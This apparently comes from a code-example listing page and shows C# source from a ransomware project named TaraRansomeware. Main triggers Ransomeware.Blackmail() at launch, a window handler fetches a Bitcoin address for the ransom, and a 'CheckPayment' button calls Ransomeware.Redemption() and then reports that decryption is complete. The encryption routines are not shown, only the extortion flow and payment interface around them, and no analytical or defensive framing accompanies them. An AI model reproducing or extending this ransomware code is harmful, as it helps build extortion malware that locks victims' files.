private void CheckPayment_Click(object sender, RoutedEventArgs e)
        {
#if !DEBUG
            AllocConsole();
#endif
            string origin = BtcAddressBox.Text;
            BtcAddressBox.Text = "Processing ...";

            try
            {
                Ransomeware.Redemption();
            }
            catch (AggregateException aggregateException)
            {
                aggregateException.Handle((x) =>
                {
                    if (x is HttpRequestException)
                    {
                        return(HttpRequestExceptionHandler(x));
                    }
                    return(false);
                });
            }
            finally
            {
                BtcAddressBox.Text = origin;
#if !DEBUG
                FreeConsole();
#endif
            }

            MessageBox.Show("解密完成", "Success", MessageBoxButton.OK, MessageBoxImage.None);
        }
Esempio n. 2
0
        private static void Main(string[] args)
        {
#if DEBUG
            AllocConsole();
            Debug.Listeners.Add(new TextWriterTraceListener(Console.Out));
            Debug.AutoFlush = true;
            Debug.WriteLine("Hello, TaraRansomeware");
#endif

            try
            {
                Ransomeware.Blackmail();
            }
            catch (AggregateException aggregateException)
            {
                aggregateException.Handle((x) =>
                {
                    if (x is HttpRequestException)
                    {
                        Debug.WriteLine(x.Message);
                    }
                    return(false);
                });
            }

            TaraRansomeware.App app = new TaraRansomeware.App();
            app.InitializeComponent();
            app.MainWindow = new MainWindow();
            app.Run();

#if DEBUG
            FreeConsole();
#endif
        }
 protected override void OnActivated(EventArgs e)
 {
     try
     {
         BtcAddressBox.Text = Ransomeware.BtcAdddress();
         return;
     }
     catch (AggregateException aggregateException)
     {
         aggregateException.Handle((x) =>
         {
             if (x is HttpRequestException)
             {
                 return(HttpRequestExceptionHandler(x));
             }
             else
             {
                 Debug.WriteLine(x.StackTrace);
             }
             return(false);
         });
     }
 }